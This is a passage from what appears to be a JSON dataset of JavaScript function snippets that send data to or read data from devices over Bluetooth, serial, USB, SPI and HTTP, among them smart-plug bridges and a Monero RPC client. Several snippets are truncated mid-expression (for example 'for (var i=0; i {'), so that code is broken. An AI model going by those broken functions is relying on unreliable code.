mrb_chunk_size) {\\n btdev.wrtseq = -1;\\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\\n btdev.bt.write(\\\"WriteApp\\\", buf);\\n console.log(\\\"Transfer completed. idx=\\\" + idx);\\n return;\\n }\\n\\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\\n // binbuf[1] = Math.floor(seq / 256);\\n // binbuf[2] = seq % 256;\\n btdev.binbuf[1] = Math.floor(seq / 256);\\n btdev.binbuf[2] = seq % 256;\\n\\n for (var i=0; i {\\n let allData = \\\"\\\";\\n res.on('data', function(data) { allData += data; });\\n res.on('close', function(data) { console.log(\\\"Closed: \\\" + allData); }); \\n }).end(content);\\n}\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n myPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n // increment brightness by 10 points. Rollover if > 255:\\n if (brightness < 255) {\\n brightness+= 10;\\n } else {\\n brightness = 0;\\n }\\n }\",\n \"function processDeviceCommand(request, response) {\\r\\n\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command\\r\\n\\tconsole.log(respMsg)\\r\\n\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\tresponse.setHeader(\\\"action\\\", action)\\r\\n\\tvar socket = net.connect(9999, deviceIP)\\r\\n\\tsocket.setKeepAlive(false)\\r\\n\\tsocket.setTimeout(6000)\\r\\n\\tsocket.on('connect', () => {\\r\\n\\t\\tsocket.write(TcpEncrypt(command))\\r\\n\\t})\\r\\n\\tsocket.on('data', (data) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tdata = decrypt(data.slice(4)).toString('ascii')\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", data)\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tvar respMsg = \\\"Command Response sent to SmartThings\\\"\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t}).on('timeout', () => {\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"TcpTimeout\\\")\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### TCP Timeout in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t}).on('error', (err) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### Socket Error in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t})\\r\\n}\",\n \"OLDsendFirmware(data) {\\n console.log('[3] bleTransport: TODO sendFirmware(data)');\\n console.log('[3] bleTransport: data =', data);\\n return Promise.resolve();\\n /*TODO\\n this._emitInitializeEvent(ObjectType.DATA);\\n return this.getFirmwareState(data)\\n .then(state => {\\n this._debug(`Sending firmware: ${state.toString()}`);\\n const objects = state.remainingObjects;\\n if (state.hasResumablePartialObject) {\\n const object = state.remainingPartialObject;\\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\\n }\\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\\n });\\n */\\n }\",\n \"sendSendSerialPortsMessageToServer() {\\n var message = {};\\n this.sendMessageToServer('sendSerialPorts', message);\\n }\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function sendData(blob) {\\n\\n\\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\\n\\tfetch(\\\"/upload_sound\\\", {\\n\\tmethod: \\\"post\\\",\\n\\tbody: blob\\n\\t});\\n}\",\n \"function requestDevStatus() {\\n if(mConnectedToDev) {\\n return;\\n }\\n\\n mNbReqStatusRetry++;\\n if(mNbReqStatusRetry >= 6) {\\n logger.warn('[ctrl-test] Request device status without response. Stop!');\\n return;\\n }\\n\\n devComm.sendStatusReportReq(SelectedGW);\\n\\n setTimeout(requestDevStatus, 5*1000);\\n\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"function transmitAudioHexBytes(audioBlob) {\\n\\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// FileReader()\\n\\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\\n\\tvar binaryHexData = buildMessage(\\\"DATA\\\", \\\"\\\");\\n\\tvar view = new DataView(arrayBuffer);\\n\\tvar viewLen = view.byteLength;\\n\\tfor (var i = 0; i < viewLen; binaryHexData += (\\\"00\\\" + view.getUint8(i++)\\n\\t\\t\\t.toString(16)).substr(-2).toUpperCase())\\n\\t\\t;\\n\\tconsole.log(\\\"socketSend@main \\\" + binaryHexData.length);\\n\\twsSnd.send(binaryHexData);\\n}\",\n \"function chromeAppMessageHandler(response) {\\n console.debug(response);\\n switch (response.responder) {\\n case \\\"list\\\":\\n const list_html = generateDropDownList(response.data);\\n document.querySelector(\\\"#device-select\\\").innerHTML = list_html;\\n document.querySelector(\\\"#device-select\\\").dispatchEvent(change_event);\\n break;\\n case \\\"connect\\\":\\n device_connected = true;\\n $(\\\"#connect\\\")\\n .removeClass(\\\"btn-outline-success\\\")\\n .addClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Disconnect\\\");\\n document.querySelector(\\\"#baudrate\\\").setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n document\\n .querySelector(\\\"#device-select\\\")\\n .setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n break;\\n case \\\"disconnect\\\":\\n // TODO(kammce): Actually evaluate that the device has connected properly\\n device_connected = false;\\n table_init = false;\\n telemetry_raw = \\\"\\\\r\\\\n\\\";\\n $(\\\"#connect\\\")\\n .addClass(\\\"btn-outline-success\\\")\\n .removeClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Connect\\\");\\n document.querySelector(\\\"#baudrate\\\").removeAttribute(\\\"disabled\\\");\\n document.querySelector(\\\"#device-select\\\").removeAttribute(\\\"disabled\\\");\\n $(\\\"#refresh\\\").click();\\n break;\\n case \\\"update\\\":\\n break;\\n case \\\"read\\\":\\n term.write(response.data.replace(/\\\\n/g, \\\"\\\\r\\\\n\\\"));\\n break;\\n default:\\n console.warn(\\\"Unknown response\\\");\\n break;\\n }\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"sendFormatDataResponsePDU() {\\n\\n const bufs = Buffer.from(this.content + '\\\\x00', 'ucs2');\\n\\n this.send(new type.Component({\\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\\n msgFlags: new type.UInt16Le(0x01),\\n dataLen: new type.UInt32Le(bufs.length),\\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\\n }));\\n\\n }\",\n \"function HandleData(data)\\n{\\n var avrNum = this.avrNum;\\n if (avrNum == null) {\\n Log('Data from unknown device!');\\n return;\\n }\\n var str = data.toString();\\n // wait for null at end of string\\n var j = str.indexOf('\\\\0');\\n if (j > -1) str = str.substr(0, j); // remove null\\n // process each response separately\\n var lines = str.split(\\\"\\\\n\\\");\\n var id;\\n for (j=0; j= 4 && str.substr(1,1) == '.') {\\n id = str.substr(0,1);\\n str = str.substr(2);\\n }\\n if (id != 'e') {\\n if (str.substr(0,2) != 'OK') {\\n Log('AVR'+avrNum, 'Bad response:', str);\\n continue;\\n }\\n str = str.substr(3);\\n }\\n // ignore truncated responses (may happen at startup if commands\\n // were sent before AVR was fully initialized)\\n if (!id) continue;\\n avrOK[avrNum] = 1;\\n avrNum = HandleResponse(avrNum, id, str);\\n }\\n}\",\n \"function appxsendfilehandler(x) {\\r\\n if (appxIsLocalReady()) {\\r\\n switch (x.messagepart) {\\r\\n case -1:\\r\\n var msgfilenamedata = [];\\r\\n var filepath = appx_session.currsendfile.filename;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Saving File...\\\");\\r\\n appx_session.currsendfile.filedata = [];\\r\\n setTimeout(function setTimeout1() {\\r\\n //send client file path length\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: hton32(filepath.length),\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client file path\\r\\n for (var vi = 0; vi < filepath.length; vi++) {\\r\\n msgfilenamedata.push(filepath.charCodeAt(vi));\\r\\n }\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: msgfilenamedata,\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client status EOF\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [3, 1],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Download Complete...\\\");\\r\\n setTimeout(function setTimeout2() {\\r\\n if ($(\\\"#appx-status-msg\\\").html() === \\\"File Download Complete...\\\") {\\r\\n appxClearStatusMsgText();\\r\\n }\\r\\n }, 1000);\\r\\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\\r\\n\\r\\n break;\\r\\n case 3:\\r\\n appx_session.currsendfile.filename = x.data.filename;\\r\\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\\r\\n appx_session.currsendfile.filedatareceived = 0;\\r\\n appx_session.currsendfile.blocksreceived = 0;\\r\\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"$(\\\") > -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\\r\\n }\\r\\n else {\\r\\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\\r\\n }\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"/\\\") == -1 && appx_session.currsendfile.filename.indexOf(\\\"\\\\\\\\\\\") == -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(\\\"$(userHome)\\\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\\r\\n }\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Creating File: \\\" + appx_session.currsendfile.filename);\\r\\n appx_session.currsendfile.filecreated = false;\\r\\n CreateFile(appx_session.currsendfile);\\r\\n break;\\r\\n case 5:\\r\\n appx_session.currsendfile.blocksreceived += 1;\\r\\n appx_session.currsendfile.filedatareceived += x.data.length;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Downloading... Received: \\\" + appx_session.currsendfile.filedatareceived + \\\" Bytes of \\\" + appx_session.currsendfile.datalengthneeded.toString() + \\\" Needed\\\");\\r\\n AppendFile(x.data);\\r\\n break;\\r\\n\\r\\n default:\\r\\n //append data to file via local connector\\r\\n break;\\r\\n }\\r\\n }\\r\\n else {\\r\\n //send client status EOF\\r\\n if (x.messagepart != -1) {\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [0, 0],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n }\\r\\n }\\r\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function performPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n\\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\\n // This will wake the device from \\\"Modern Standby\\\".\\n if ((action == 2) && (dev.aquired.majorver > 9)) {\\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\\n }\\n }\",\n \"async function sendPicture() {\\n const req = {\\n imagebytes: bas64,\\n }\\n alert('Enviado com sucesso');\\n }\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"function transferByte(b) {\\n\\treturn new Promise((resolve, reject) => {\\n\\t\\tlet txBuff = new Buffer([reverseByte(b)]);\\n\\t\\tlet rxBuff = new Buffer(1);\\n\\t\\tRPIO.spiTransfer(txBuff, rxBuff, 1);\\n resolve(reverseByte(rxBuff[0]));\\n\\t});\\n}\",\n \"function fx000(res) {\\n global.clog(\\\"[ss_reqHan][fx000][SENT]\\\");\\n res.writeHead(200, { \\\"Content-Type\\\": \\\"audio/wav\\\" }); \\n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\\n res.write(sendingfile);\\n res.end();\\n}\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
\\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"inbound(count, obj) {\\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\\n const p = Promise.resolve(handler[obj.type](obj));\\n p.then(\\n res => D(commandDevice).sendResponse(count, false, harden(res)),\\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\\n );\\n }\",\n \"function send_button_state(hex_state) {\\n $.ajax({\\n url: \\\"webpower/set/\\\" + hex_state,\\n success: function() {\\n console.log(\\\"sent: \\\" + hex_state)\\n },\\n });\\n }\",\n \"actuateBell(req, res) {\\n const keyValuePairs = req.body.split('|') || [''];\\n const command = getUltralightCommand(keyValuePairs[0]);\\n const deviceId = 'bell' + req.params.id;\\n const result = keyValuePairs[0] + '| ' + command;\\n\\n if (IoTDevices.notFound(deviceId)) {\\n return res.status(404).send(result + NOT_OK);\\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\\n return res.status(422).send(result + NOT_OK);\\n }\\n\\n // Update device state\\n IoTDevices.actuateDevice(deviceId, command);\\n return res.status(200).send(result + OK);\\n }\",\n \"send(msg) {\\n if (this.connectionId < 0) {\\n throw 'Invalid connection';\\n }\\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\\n });\\n }\",\n \"function sendPost(data, callback) {\\nvar options = {\\n host: 'ws.audioscrobbler.com',\\n path: '/2.0/',\\n method: 'POST',\\n headers: {\\n 'Content-Type': 'application/x-www-form-urlencoded',\\n 'Content-Length': data.length\\n }\\n }\\n , doPOST = http.request(options, function(request) {\\n var reqReturn = ''\\n request.setEncoding('utf8')\\n request.on('data', function(chunk) {\\n reqReturn += chunk\\n })\\n request.on('end', function() {\\n // console.log('[POST RESPONSE] : ' + reqReturn)\\n if (typeof(callback) == 'function')\\n callback(reqReturn)\\n })\\n }).on('error', function(err) {\\n // TODO\\n })\\ndoPOST.write(data)\\ndoPOST.end()\\n}\",\n \"function sendPostResponse() {\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tvar delaySend = false;\\n\\t\\t\\t\\t\\t// build appropriate response\\n\\t\\t\\t\\t\\tswitch(command) {\\n\\t\\t\\t\\t\\t\\tcase 'end':\\n\\t\\t\\t\\t\\t\\tcase 'continue':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"continue\\\" response');\\n\\t\\t\\t\\t\\t\\tcase 'start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', id:deviceId};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\tcase 'device_ready':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"device_ready\\\" response:');\\n\\t\\t\\t\\t\\t\\t\\tvar task = device.taskGroup.getNextTest();\\n\\t\\t\\t\\t\\t\\t\\tif(task) {\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending next task: ' + task);\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:task};\\n\\t\\t\\t\\t\\t\\t\\t} else { // no more tasks, report\\n\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(!clientConnection.isTestDone) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : setting istestdone to true');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.reporter.createReport();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending EndGame');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('is the next test ready?',\\n\\t\\t\\t\\t\\t\\t\\t\\t clientConnection.isNextTestReady);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isNextTestReady) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isNextTestReady = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdevice.taskGroup.restart();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tNo more tasks.');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'nada'};\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'sdk_social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('Adding US Social test set');\\n\\t\\t\\t\\t\\t\\t\\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('setting tests to social_test_start');\\n\\t\\t\\t\\t\\t\\t\\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'task_finished':\\n\\t\\t\\t\\t\\t\\tcase 'log_start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'log_end':\\n\\t\\t\\t\\t\\t\\t\\t// hold off on sending response if previous messages\\n\\t\\t\\t\\t\\t\\t\\t// have yet to be received\\n\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isLogFinished()) {\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t// if previous message never gets resent, we need to send\\n\\t\\t\\t\\t\\t\\t\\t\\t// the response after a timeout\\n\\t\\t\\t\\t\\t\\t\\t\\tif(delaySend === false) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tsetTimeout(function () {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isDelayedResponseSet() === true) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.flush();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.sendDelayedResponse();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}, 120000);\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdelaySend = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.setDelayedResponse(response);\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\t\\t\\tmessage = '';\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tif(!delaySend) {\\n\\t\\t\\t\\t\\t\\tsendResponse(200, message);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t}\",\n \"function transmit(fullBuffer) {\\n\\twsSnd.send(\\\"\\\" + fullBuffer.length + \\\" \\\");\\n\\tvar siz = 2048;\\n\\tvar idx, tmpBuf;\\n\\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, idx + siz);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\tif (idx != fullBuffer.length) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\twsSnd.send(\\\" \\\");\\n\\tconsole.log(\\\"TRANSMIT START\\\");\\n}\",\n \"function btn_OnTouch() {\\n bt.Connect(\\\"SerialBT\\\");\\n}\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"function systemCommandResponseCallback(error, stdout, stderr)\\n {\\n var responseString =\\n 'stdout: ' + pipeToString(stdout)\\n + 'stderr: ' + pipeToString(stderr)\\n + 'error: ' + error;\\n\\n \\t// Write the response and close the request\\n\\t\\tserverResponse.writeHead(200, { \\\"Content-Type\\\": \\\"text/plain\\\" });\\n\\t\\tserverResponse.end(\\\"RPi RESPONSE:\\\\n\\\" + responseString);\\n serverResponse.end();\\n }\",\n \"async postAPI(url, values) {\\n\\t\\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\\n\\t\\ttry {\\n\\t\\t\\tconst result = axios.post(url, values)\\n\\t\\t\\t\\t.then((response) => {\\n\\t\\t\\t\\t\\treturn response.data;\\n\\t\\t\\t\\t})\\n\\t\\t\\t\\t.catch((error) => {\\n\\t\\t\\t\\t\\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\\n\\t\\t\\t\\t\\treturn error;\\n\\t\\t\\t\\t});\\n\\t\\t\\treturn result;\\n\\t\\t} catch (error) {\\n\\t\\t\\tthis.log.error(error);\\n\\t\\t}\\n\\t}\",\n \"function onRequest(request, response){\\r\\n\\tvar command = request.headers[\\\"command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar cmdRcvd = \\\"\\\\n\\\\r\\\" + new Date() + \\\"\\\\r\\\\nIP: \\\" + deviceIP + \\\" sent command \\\" + command\\r\\n\\tconsole.log(\\\" \\\")\\r\\n\\tconsole.log(cmdRcvd)\\r\\n\\tswitch(command) {\\r\\n\\t\\t//---- (BridgeDH - Poll for Server APP ------------------\\r\\n\\t\\tcase \\\"pollServer\\\":\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"ok\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"Server Poll response sent to SmartThings\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\tbreak\\r\\n\\r\\n\\t\\t//---- TP-Link Device Command ---------------------------\\r\\n\\t\\tcase \\\"deviceCommand\\\":\\r\\n\\t\\t\\t//----- Simulated power data Selection ----------------------\\r\\n\\t\\t\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tif (action == \\\"onWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", onWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else if (action == \\\"offWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", offWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else 